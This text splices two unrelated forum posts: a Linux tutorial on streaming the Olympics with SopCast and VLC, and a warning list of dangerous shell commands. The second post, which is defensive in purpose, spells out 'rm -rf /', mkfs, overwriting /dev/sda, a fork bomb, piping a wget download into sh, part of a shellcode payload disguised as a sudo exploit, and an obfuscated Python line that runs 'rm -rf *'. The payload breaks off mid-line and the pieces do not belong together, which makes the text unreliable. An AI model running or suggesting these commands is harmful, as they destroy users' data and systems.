Here's how you can watch the Olympics live on Linux:
Step 1: Get VLC
Ubuntu:sudo apt-get install vlc
Other distros; go to http://www.videolan.org/vlc/
Step 2: Get sopcast, extract it and go to its folderwget http://download.sopcast.cn/download/sp-auth.tgz
Step 3: Launch p2p sopcast stream
tar xvzf sp-auth.tgz
cd sp-auth
Usage:
./sp-sc-auth sop://[sopcasturl] [shareport] [streamport] > /dev/null &
List of streams: http://www.sopcast.org/channel/
Full list in XML: http://www.sopcast.com/chlist.xml
More streams on Google
Note: Not all streams have audio
Note 2: If sp-auth is giving out an error, you might need to download the stdc++5 library link: http://www.sopcast.com/download/libstdcpp5.tgz
Example:./sp-sc-auth sop://broker1.sopcast.com:3912/48608 3904 8904 > /dev/null &
Step 4: Fire-up VLC, open network stream http://localhost:[streamport]/tv.asf
Note: you might have to wait 20 seconds or so before it allows you to connect to the stream
Screenshots:

Source: Here
Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute. Code: rm -rf / Code: mkfs Code: any_command > /dev/sda In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes) Code: :(){:|:&};: Code: fork while fork Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust Code: wget http://some_place/some_file Code: wget http://some_place/some_file -O- | sh A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload: Code: char esp[] __attribute__ ((section(".text"))) /* e.s.p Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not! For example, 30 seconds in Python yields something like this: Code: python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' __________________ |